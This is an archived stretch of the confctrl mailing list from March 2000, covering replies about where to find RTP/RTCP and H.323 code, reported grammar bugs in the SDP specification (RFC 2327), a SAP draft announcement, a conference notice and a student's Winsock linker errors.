Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA11653
	for <confctrl@zephyr.isi.edu>; Wed, 1 Mar 2000 05:51:04 -0800 (PST)
Received: from sand6.global.net.uk (sand6.global.net.uk [195.147.246.105])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA06597
	for <confctrl@isi.edu>; Wed, 1 Mar 2000 05:51:07 -0800 (PST)
Received: from p9fs10a07.client.global.net.uk ([195.147.234.160] helo=isdn-comms.co.uk)
	by sand6.global.net.uk with esmtp (Exim 3.03 #1)
	id 12Q9Ye-0000NA-00; Wed, 01 Mar 2000 13:52:56 +0000
Received: from isdn-comms.co.uk [169.254.128.4] by isdn-comms.co.uk (FTGate 2, 2, 0, 1);
     Wed, 01 Mar 00 13:44:16 +0000
Message-ID: <38BD1F6D.4A948233@isdn-comms.co.uk>
Date: Wed, 01 Mar 2000 13:47:25 +0000
From: Chris Wayman Purvis <cwp@isdn-comms.co.uk>
Organization: ISDN Communications Ltd
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Orion Hodson <O.Hodson@cs.ucl.ac.uk>
CC: singh pramod <pramod_satish@yahoo.com>, J.H.deMuijnck@research.kpn.com,
        confctrl@ISI.EDU, rem-conf@es.net
Subject: Re: RTP/RTCP and Q.931 implementation
References: <1835.951900780@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

If you say you're looking at VoIP, Q.931 and RTP/RTCP you're probably ACTUALLY
looking at H.323, in which case www.openh323.org would be a good place to start
(and is a stack with a more open free licence than the Lucent Elemedia one)...

Chris

Orion Hodson wrote:
> 
> <20000301062909.18945.qmail@web3902.mail.yahoo.com>singh pramod writes:
> > Hello,
> > I am an university student and I am doing a
> > project on VoIP.
> > If you have 'C' codes on RTP/RTCP, Q.931
> > signalling, please provide me the same.
> > Please give me some web site addresses where I
> > can find those codes.
> 
> Of Q931 stacks I know nothing...of RTP implementations a little...
> 
> The Lucent Elemedia H.323 stack contains a C RTP/RTCP implementation
> and looks to be v. close to functionally complete and is very well
> documented.  It was developed by Jonathon Lennox, Jonathon Rosenburg,
> and Dan Rubenstein.  You can find documentation at:
> 
>         http://www.cs.columbia.edu/~jdrosen/rtp_api.html
> 
> and download it from:
> 
>         http://www.elemedia.com/Main/download.htm
> 
> You will have to apply for an id and passwd and agree to licensing
> conditions (that you can't read without an id ;-).
> 
> There is also RTP/RTCP C code in the UCL Multimedia Common library
> (open source):
> 
>         http://www-mice.cs.ucl.ac.uk/multimedia/software/common/
> 
> It's not particulatly well documented and there are some parts of the
> spec not yet implemented, but it is fairly easy to use and supports
> IPv4/v6 (plug plug).  It was developed by Colin Perkins with
> contributions from Bill Fenner, Timur Friedman, Markus Germeier, and
> myself.  If you are interested we have demo code that's not yet
> included in the package that should show you everything you need.
> 
> You should also check out Henning's excellent RTP resources:
> 
>         http://www.cs.columbia.edu/~hgs/rtp/
> 
> as there are implementations in Java and C++ that may also be of interest
> also.
> 
> You might also checked out openh323 (http://www.openh323.org), and
> their site is down at the moment, but they too presumeably have an
> implementation.
> 
> If there are other publicly available implementations I'd be
> interested in hearing about them.
> 
> - Orion
> 
> BTW, rem-conf is the AVT groups mailing list and where this request
> should have gone to.

-- 
Dr Chris Purvis -- Development Manager
ISDN Communications Ltd, The Stable Block, Ronans, Chavey Down Road
Winkfield Row, Berkshire.  RG42 6LY  ENGLAND
Phone: +44 1344 899 007
Fax:   +44 1344 899 001

From confctrl-owner  Wed Mar  1 06:19:54 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA13350
	for confctrl-outgoing; Wed, 1 Mar 2000 06:19:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA13344
	for <confctrl@zephyr.isi.edu>; Wed, 1 Mar 2000 06:19:49 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA07854
	for <confctrl@ISI.EDU>; Wed, 1 Mar 2000 06:19:53 -0800 (PST)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id JAA27379;
	Wed, 1 Mar 2000 09:19:41 -0500 (EST)
Message-ID: <38BD26FC.B9968A7F@cs.columbia.edu>
Date: Wed, 01 Mar 2000 09:19:40 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.7 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Orion Hodson <O.Hodson@cs.ucl.ac.uk>
CC: singh pramod <pramod_satish@yahoo.com>, J.H.deMuijnck@research.kpn.com,
        confctrl@ISI.EDU, rem-conf@es.net
Subject: Re: RTP/RTCP and Q.931 implementation
References: <1835.951900780@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Orion Hodson wrote:
> 

> The Lucent Elemedia H.323 stack contains a C RTP/RTCP implementation
> and looks to be v. close to functionally complete and is very well
> documented.  It was developed by Jonathon Lennox, Jonathon Rosenburg,
> and Dan Rubenstein.  You can find documentation at:
> 
>         http://www.cs.columbia.edu/~jdrosen/rtp_api.html
> 
> and download it from:
> 
>         http://www.elemedia.com/Main/download.htm
> 

It is unlikely that this is still available from Elemedia. We are
working on a more manageable license mechanism within Lucent, but this
is taking a while. We will announce availability on rem-conf as we
resolve these issues.

Henning
(another co-author of the library)

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed Mar  1 07:01:49 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA16042
	for confctrl-outgoing; Wed, 1 Mar 2000 07:01:49 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA16036
	for <confctrl@zephyr.isi.edu>; Wed, 1 Mar 2000 07:01:48 -0800 (PST)
Received: from nce.ufrj.br (smtp.nce.ufrj.br [146.164.2.69])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA09827
	for <confctrl@ISI.EDU>; Wed, 1 Mar 2000 07:01:44 -0800 (PST)
Received: from novell.nce.ufrj.br (novell.nce.ufrj.br [146.164.11.190])
	by nce.ufrj.br (8.9.3/8.9.3) with ESMTP id MAA13074;
	Wed, 1 Mar 2000 12:01:47 -0300 (EST)
Received: from NCE01/SpoolDir by novell.nce.ufrj.br (Mercury 1.44);
    1 Mar 00 12:02:21 GMT-2
Received: from SpoolDir by NCE01 (Mercury 1.44); 1 Mar 00 12:01:56 GMT-2
Received: from novell.nce.ufrj.br (146.164.16.218) by novell.nce.ufrj.br (Mercury 1.44) with ESMTP;
    1 Mar 00 11:16:37 GMT-2
Message-ID: <38BD264C.CA2FC8A7@novell.nce.ufrj.br>
Date: Wed, 01 Mar 2000 11:16:44 -0300
From: Cesar Augusto Cavalheiro Marcondes <cesar@posgrad.nce.ufrj.br>
X-Mailer: Mozilla 4.6 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU, J.H.deMuijnck@research.kpn.com
Subject: Re : RTP/RTCP and Q.931 implementation
Content-Type: multipart/alternative;
 boundary="------------5D4E8D7ABE9C795A48FD64A0"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------5D4E8D7ABE9C795A48FD64A0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

    I can add URL open source RTP, H.323, SIP from VOVIDA Networks
    http://www.vovida.com   -> Link Open Source

    Java Media Framework has RTP support too.
    http://java.sun.com/products/java-media/jmf/index.html

> > Hello,
> > I am an university student and I am doing a
> > project on VoIP.
> > If you have 'C' codes on RTP/RTCP, Q.931
> > signalling, please provide me the same.
> > Please give me some web site addresses where I
> > can find those codes.
>
> Of Q931 stacks I know nothing...of RTP implementations a little...
>
> The Lucent Elemedia H.323 stack contains a C RTP/RTCP implementation
> and looks to be v. close to functionally complete and is very well
> documented.  It was developed by Jonathon Lennox, Jonathon Rosenburg,
> and Dan Rubenstein.  You can find documentation at:
>
>         http://www.cs.columbia.edu/~jdrosen/rtp_api.html
>
> and download it from:
>
>         http://www.elemedia.com/Main/download.htm
>
> You will have to apply for an id and passwd and agree to licensing
> conditions (that you can't read without an id ;-).
>
> There is also RTP/RTCP C code in the UCL Multimedia Common library
> (open source):
>
>         http://www-mice.cs.ucl.ac.uk/multimedia/software/common/
>
> It's not particulatly well documented and there are some parts of the
> spec not yet implemented, but it is fairly easy to use and supports
> IPv4/v6 (plug plug).  It was developed by Colin Perkins with
> contributions from Bill Fenner, Timur Friedman, Markus Germeier, and
> myself.  If you are interested we have demo code that's not yet
> included in the package that should show you everything you need.
>
> You should also check out Henning's excellent RTP resources:
>
>         http://www.cs.columbia.edu/~hgs/rtp/
>
> as there are implementations in Java and C++ that may also be of interest
> also.
>
> You might also checked out openh323 (http://www.openh323.org), and
> their site is down at the moment, but they too presumeably have an
> implementation.
>
> If there are other publicly available implementations I'd be
> interested in hearing about them.
>
> - Orion
>
> BTW, rem-conf is the AVT groups mailing list and where this request
> should have gone to.
>

--------------5D4E8D7ABE9C795A48FD64A0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Hi,
<p>&nbsp;&nbsp;&nbsp; I can add URL open source RTP, H.323, SIP from VOVIDA
Networks
<br>&nbsp;&nbsp;&nbsp; <A HREF="http://www.vovida.com">http://www.vovida.com</A>&nbsp;&nbsp; -> Link Open Source
<p>&nbsp;&nbsp;&nbsp; Java Media Framework has RTP support too.
<br>&nbsp;&nbsp;&nbsp; <A HREF="http://java.sun.com/products/java-media/jmf/index.html">http://java.sun.com/products/java-media/jmf/index.html</A>
<blockquote TYPE=CITE>
<pre>> Hello,
> I am an university student and I am doing a
> project on VoIP.&nbsp;
> If you have 'C' codes on RTP/RTCP, Q.931
> signalling, please provide me the same.&nbsp;
> Please give me some web site addresses where I
> can find those codes.

Of Q931 stacks I know nothing...of RTP implementations a little...

The Lucent Elemedia H.323 stack contains a C RTP/RTCP implementation
and looks to be v. close to functionally complete and is very well
documented.&nbsp; It was developed by Jonathon Lennox, Jonathon Rosenburg,
and Dan Rubenstein.&nbsp; You can find documentation at:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <A HREF="http://www.cs.columbia.edu/~jdrosen/rtp_api.html">http://www.cs.columbia.edu/~jdrosen/rtp_api.html</A>

and download it from:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <A HREF="http://www.elemedia.com/Main/download.htm">http://www.elemedia.com/Main/download.htm</A>

You will have to apply for an id and passwd and agree to licensing
conditions (that you can't read without an id ;-).

There is also RTP/RTCP C code in the UCL Multimedia Common library
(open source):

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <A HREF="http://www-mice.cs.ucl.ac.uk/multimedia/software/common/">http://www-mice.cs.ucl.ac.uk/multimedia/software/common/</A>

It's not particulatly well documented and there are some parts of the
spec not yet implemented, but it is fairly easy to use and supports
IPv4/v6 (plug plug).&nbsp; It was developed by Colin Perkins with
contributions from Bill Fenner, Timur Friedman, Markus Germeier, and
myself.&nbsp; If you are interested we have demo code that's not yet
included in the package that should show you everything you need.

You should also check out Henning's excellent RTP resources:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <A HREF="http://www.cs.columbia.edu/~hgs/rtp/">http://www.cs.columbia.edu/~hgs/rtp/</A>

as there are implementations in Java and C++ that may also be of interest
also.&nbsp;&nbsp;

You might also checked out openh323 (<A HREF="http://www.openh323.org">http://www.openh323.org</A>), and
their site is down at the moment, but they too presumeably have an
implementation.

If there are other publicly available implementations I'd be
interested in hearing about them.

- Orion

BTW, rem-conf is the AVT groups mailing list and where this request
should have gone to.</pre>
</blockquote>
</html>

--------------5D4E8D7ABE9C795A48FD64A0--


From confctrl-owner  Wed Mar  1 23:29:50 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA05908
	for confctrl-outgoing; Wed, 1 Mar 2000 23:29:50 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA05903
	for <confctrl@zephyr.isi.edu>; Wed, 1 Mar 2000 23:29:49 -0800 (PST)
Received: from reddot.dynamicsoft.com (reddot.dynamicsoft.com [216.89.83.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA16414
	for <confctrl@isi.edu>; Wed, 1 Mar 2000 23:29:52 -0800 (PST)
Received: from dynamicsoft.com (1Cust248.tnt1.freehold.nj.da.uu.net [63.17.113.248])
	by reddot.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id CAA13782
	for <confctrl@isi.edu>; Thu, 2 Mar 2000 02:29:59 -0500 (EST)
Message-ID: <38BE19A6.5DA1BA6A@dynamicsoft.com>
Date: Thu, 02 Mar 2000 02:35:02 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: [Fwd: Bugs in RFC-2327 (SDP)]
Content-Type: multipart/mixed;
 boundary="------------2B73214A72D7305897A10136"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------2B73214A72D7305897A10136
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


-- 
Jonathan D. Rosenberg                       200 Executive Drive
Chief Scientist                             Suite 120 
dynamicsoft                                 West Orange, NJ 07052
jdrosen@dynamicsoft.com                     FAX:   (732) 741-4778
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com
--------------2B73214A72D7305897A10136
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Received: from wodc7mr3.ffx.ops.us.uu.net by wodc7ps1.ffx.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wodc7mr3.ffx.ops.us.uu.net [192.48.96.19])
	id QQiesw01263;
	Thu, 2 Mar 2000 06:40:45 GMT
Received: from lists.research.bell-labs.com by wodc7mr3.ffx.ops.us.uu.net with ESMTP 
	(peer crosschecked as: paperless.dnrc.bell-labs.com [135.180.161.172])
	id QQiesw26995;
	Thu, 2 Mar 2000 06:40:44 GMT
Received: by lists.research.bell-labs.com (Postfix)
	id F294952D4; Thu,  2 Mar 2000 01:39:23 -0500 (EST)
Delivered-To: sip-outgoing-local@paperless.dnrc.bell-labs.com
Received: by lists.research.bell-labs.com (Postfix, from userid 20006)
	id 5B1F052DF; Thu,  2 Mar 2000 01:39:22 -0500 (EST)
Delivered-To: sip-local@paperless.dnrc.bell-labs.com
Received: from scummy.research.bell-labs.com (guard.research.bell-labs.com [135.104.2.10])
	by lists.research.bell-labs.com (Postfix) with SMTP id 76EC952D4
	for <sip@lists.research.bell-labs.com>; Thu,  2 Mar 2000 01:39:05 -0500 (EST)
Received: from dusty.research.bell-labs.com ([135.104.2.7]) by scummy; Thu Mar  2 01:38:22 EST 2000
Received: from mail.mera.ru ([195.98.50.58]) by dusty; Thu Mar  2 01:35:50 EST 2000
Received: from mcseem.mera.ru (mcseem.mera.ru [195.98.57.12])
	by mail.mera.ru (8.9.3/8.9.3) with ESMTP id JAA88859;
	Thu, 2 Mar 2000 09:38:18 +0300 (MSK)
Date: Thu, 2 Mar 2000 09:39:40 +0300
From: "Stanislav S. Timinsky" <timinsky@mera.ru>
X-Mailer: The Bat! (v1.36) S/N F29DEE5D / Educational
Reply-To: "Stanislav S. Timinsky" <timinsky@mera.ru>
Organization: MERA Labs.
X-Priority: 3 (Normal)
Message-ID: <1402.000302@mera.ru>
To: sip@lists.research.bell-labs.com
Cc: prj.men.sip@mera.ru
Subject: Bugs in RFC-2327 (SDP)
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-sip@lists.research.bell-labs.com
Precedence: bulk
X-Mozilla-Status2: 00000000

Greetings to all!

I have decided to report about bugs (in my humble opinion ) in the
grammar description of SDP (RFC-2327). I used RFC-2327, which has
been issued at April 1998.

1.

   zone-adjustments =    time space ["-"] typed-time
                         *(space time space ["-"] typed-time)

   *must be*

   zone-adjustments =    "z=" time space ["-"] typed-time
                         *(space time space ["-"] typed-time)

2.

   key-data =            email-safe | "~" | "
                                            ^
                                            |------- here
   *and*

   safe =                alpha-numeric |
                         "'" | "'" | "-" | "." | "/" | ":" | "?" | """ |
                         "#" | "$" | "&" | "*" | ";" | "=" | "@" | "[" |
                         "]" | "^" | "_" | "`" | "{" | "|" | "}" | "+" |
                         "~" | "
                               ^
                               |---- and here
                               
   *What means a quote at the end of grammar sentences?*

3.
   proto =               1*(alpha-numeric)
                         ;typically "RTP/AVP" or "udp" for IP4

   *If -proto- can has a '/' then -proto- is not alpha-numeric. Maybe
   it is -1*safe-*

4.

   multicast-address =   3*(decimal-uchar ".") decimal-uchar "/" ttl
                         [ "/" integer ]
                         ;multicast addresses may be in the range
                         ;224.0.0.0 to 239.255.255.255

   *must be*

   multicast-address =   3*3(decimal-uchar ".") decimal-uchar "/" ttl
                         [ "/" integer ]

5.

   time =                POS-DIGIT 9*(DIGIT)
                         ;sufficient for 2 more centuries

   *maybe*

   time =                POS-DIGIT 9*9(DIGIT)

6.

   username =            safe
                         ;pretty wide definition, but doesn't include space

   *must be*

   username =            *safe

   *or*

   username =            1*safe

7.

   decimal-uchar =       DIGIT
                         | POS-DIGIT DIGIT
                         | ("1" 2*(DIGIT))
                         | ("2" ("0"|"1"|"2"|"3"|"4") DIGIT)
                         | ("2" "5" ("0"|"1"|"2"|"3"|"4"|"5"))

   *must be*

   decimal-uchar =       DIGIT
                         | POS-DIGIT DIGIT
                         | ("1" 2*2(DIGIT))
                         | ("2" ("0"|"1"|"2"|"3"|"4") DIGIT)
                         | ("2" "5" ("0"|"1"|"2"|"3"|"4"|"5"))

8.

   email-safe =          safe | space | tab

   *must be*

   email-safe =          *(safe | space | tab)
   
-- 
Best regards,
 Stanislav S. Timinsky              mailto:timinsky@mera.ru
 Mera Labs.





--------------2B73214A72D7305897A10136--


From confctrl-owner  Mon Mar  6 01:30:36 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA27841
	for confctrl-outgoing; Mon, 6 Mar 2000 01:30:36 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA27836
	for <confctrl@zephyr.isi.edu>; Mon, 6 Mar 2000 01:30:34 -0800 (PST)
Received: from smtp2.cluster.oleane.net (smtp2.cluster.oleane.net [195.25.12.17])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA25741
	for <confctrl@isi.edu>; Mon, 6 Mar 2000 01:30:39 -0800 (PST)
Received: from oleane  (dyn-1-1-215.Vin.dialup.oleane.fr [195.25.4.215])  by smtp2.cluster.oleane.net  with SMTP id KAA74083; Mon, 6 Mar 2000 10:30:56 +0100 (CET)
Message-ID: <00c801bf874e$13e5f660$0401a8c0@oleane.com>
From: "Peter Lewis" <peter.lewis@upperside.fr>
To: <Undisclosed-Recipient:@smtp2.cluster.oleane.net;>
Subject: SIP 2000 International Conference 
Date: Mon, 6 Mar 2000 10:26:27 +0100
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_00BF_01BF8756.6E540300"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_00BF_01BF8756.6E540300
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Unknown and even rejected by many vendors and operators only a few =
months ago, SIP is on the brink of making a definitive name for itself.=20
Visit the SIP 2000 International Conference programme:
http://www.upperside.fr/basip.htm


------=_NextPart_000_00BF_01BF8756.6E540300
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV>Unknown and even rejected by many vendors and operators only a few =
months=20
ago, SIP is on the brink of making a definitive name for itself. </DIV>
<DIV>Visit the SIP 2000 International Conference programme:</DIV>
<DIV><A=20
href=3D"http://www.upperside.fr/basip.htm">http://www.upperside.fr/basip.=
htm</A></DIV></FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_00BF_01BF8756.6E540300--


From confctrl-owner  Mon Mar  6 07:23:15 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA16210
	for confctrl-outgoing; Mon, 6 Mar 2000 07:23:15 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA16205
	for <confctrl@zephyr.isi.edu>; Mon, 6 Mar 2000 07:23:13 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA10569
	for <confctrl@isi.edu>; Mon, 6 Mar 2000 07:23:16 -0800 (PST)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.05295-0@bells.cs.ucl.ac.uk>; Mon, 6 Mar 2000 15:23:12 +0000
To: confctrl@ISI.EDU
Subject: draft-ietf-mmusic-sap-v2-06.txt posted
Date: Mon, 06 Mar 2000 15:23:11 +0000
Message-ID: <9310.952356191@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I've just posted draft-ietf-mmusic-sap-v2-06.txt, which addresses some of
the issues raised with the previous SAP draft. Until is appears in the i-d
archive, you can download this version from:
http://www.cs.ucl.ac.uk/staff/c.perkins/internet-drafts/draft-ietf-mmusic-sap-v2-06.txt

Changes in this version:
	- clarify that position re "client" vs "announcer/listener" 
	  (Dave Thaler)
	- make all authentication schemes optional (Peter Kirstein)
	- clarify when to send deletion messages (Pieter Liefooghe) 
It does not address the issue of SAP vs SDP authentication, that is left
for discussion in the meeting.

Colin

From confctrl-owner  Mon Mar  6 23:45:59 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA16507
	for confctrl-outgoing; Mon, 6 Mar 2000 23:45:59 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA16502
	for <confctrl@zephyr.isi.edu>; Mon, 6 Mar 2000 23:45:55 -0800 (PST)
Received: from web3903.mail.yahoo.com (web3903.mail.yahoo.com [204.71.203.199])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA01398
	for <confctrl@ISI.EDU>; Mon, 6 Mar 2000 23:46:00 -0800 (PST)
Message-ID: <20000307074202.23437.qmail@web3903.mail.yahoo.com>
Received: from [203.197.163.36] by web3903.mail.yahoo.com; Mon, 06 Mar 2000 23:42:02 PST
Date: Mon, 6 Mar 2000 23:42:02 -0800 (PST)
From: singh pramod <pramod_satish@yahoo.com>
Subject: Re: RTP/RTCP and Q.931 implementation
To: Orion Hodson <O.Hodson@cs.ucl.ac.uk>
Cc: J.H.deMuijnck@research.kpn.com, confctrl@ISI.EDU, rem-conf@es.net
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
   I got the codes from the given site. I already
compiled other codes for H.323 stack. The RTP/RTCP
module is giving some problems. The files getting
compiled individually. But, while linking I am getting
following errors. 
Linking...
rtp.obj : error LNK2001: unresolved external symbol
__imp__ntohl@4
net_udp.obj : error LNK2001: unresolved external
symbol __imp__ntohl@4
rtp.obj : error LNK2001: unresolved external symbol
__imp__ntohs@4
rtp.obj : error LNK2001: unresolved external symbol
__imp__htonl@4
qfDES.obj : error LNK2001: unresolved external symbol
__imp__htonl@4
rtp.obj : error LNK2001: unresolved external symbol
__imp__htons@4
net_udp.obj : error LNK2001: unresolved external
symbol __imp__htons@4
net_udp.obj : error LNK2001: unresolved external
symbol __imp__inet_addr@4
net_udp.obj : error LNK2001: unresolved external
symbol __imp__gethostbyname@4
net_udp.obj : error LNK2001: unresolved external
symbol __imp__bind@12
net_udp.obj : error LNK2001: unresolved external
symbol __imp__socket@12
net_udp.obj : error LNK2001: unresolved external
symbol __imp__WSAGetLastError@0
net_udp.obj : error LNK2001: unresolved external
symbol __imp__setsockopt@20
net_udp.obj : error LNK2001: unresolved external
symbol __imp__sendto@24
net_udp.obj : error LNK2001: unresolved external
symbol __imp__recvfrom@24
net_udp.obj : error LNK2001: unresolved external
symbol ___WSAFDIsSet@8
net_udp.obj : error LNK2001: unresolved external
symbol __imp__select@20
net_udp.obj : error LNK2001: unresolved external
symbol __imp__inet_ntoa@4
net_udp.obj : error LNK2001: unresolved external
symbol __imp__gethostname@8
test.obj : error LNK2001: unresolved external symbol
__imp__WSACleanup@0
test.obj : error LNK2001: unresolved external symbol
__imp__WSAStartup@8
Debug/rtp.exe : fatal error LNK1120: 18 unresolved
externals
Error executing link.exe.

rtp.exe - 22 error(s), 0 warning(s)



    I am using microsoft's visual studio VC98
compiler. 
   Could you please, spare some time and let me know
what these errors? Are these from the system included
files or Is there any other files to be included?

   It would be helpful for me if you give some ideas.

Thanks.

regards

pramod Singh

--- Orion Hodson <O.Hodson@cs.ucl.ac.uk> wrote:
>
<20000301062909.18945.qmail@web3902.mail.yahoo.com>singh
> pramod writes:
> > Hello,
> > I am an university student and I am doing a
> > project on VoIP. 
> > If you have 'C' codes on RTP/RTCP, Q.931
> > signalling, please provide me the same. 
> > Please give me some web site addresses where I
> > can find those codes.
> 
> Of Q931 stacks I know nothing...of RTP
> implementations a little...
> 
> The Lucent Elemedia H.323 stack contains a C
> RTP/RTCP implementation
> and looks to be v. close to functionally complete
> and is very well
> documented.  It was developed by Jonathon Lennox,
> Jonathon Rosenburg,
> and Dan Rubenstein.  You can find documentation at:
> 
> 	http://www.cs.columbia.edu/~jdrosen/rtp_api.html
> 
> and download it from:
> 
> 	http://www.elemedia.com/Main/download.htm
> 
> You will have to apply for an id and passwd and
> agree to licensing
> conditions (that you can't read without an id ;-).
> 
> There is also RTP/RTCP C code in the UCL Multimedia
> Common library
> (open source):
> 
> 
>
http://www-mice.cs.ucl.ac.uk/multimedia/software/common/
> 
> It's not particulatly well documented and there are
> some parts of the
> spec not yet implemented, but it is fairly easy to
> use and supports
> IPv4/v6 (plug plug).  It was developed by Colin
> Perkins with
> contributions from Bill Fenner, Timur Friedman,
> Markus Germeier, and
> myself.  If you are interested we have demo code
> that's not yet
> included in the package that should show you
> everything you need.
> 
> You should also check out Henning's excellent RTP
> resources:
> 
> 	http://www.cs.columbia.edu/~hgs/rtp/
> 
> as there are implementations in Java and C++ that
> may also be of interest
> also.  
> 
> You might also checked out openh323
> (http://www.openh323.org), and
> their site is down at the moment, but they too
> presumeably have an
> implementation.
> 
> If there are other publicly available
> implementations I'd be
> interested in hearing about them.
> 
> - Orion
> 
> BTW, rem-conf is the AVT groups mailing list and
> where this request
> should have gone to.
> 
_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com


From confctrl-owner  Tue Mar  7 03:29:45 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA25087
	for confctrl-outgoing; Tue, 7 Mar 2000 03:29:45 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA25082
	for <confctrl@zephyr.isi.edu>; Tue, 7 Mar 2000 03:29:43 -0800 (PST)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by gamma.isi.edu (8.8.7/8.8.6) with ESMTP id DAA28333
	for <confctrl@ISI.EDU>; Tue, 7 Mar 2000 03:29:47 -0800 (PST)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with ESMTP id MAA20684;
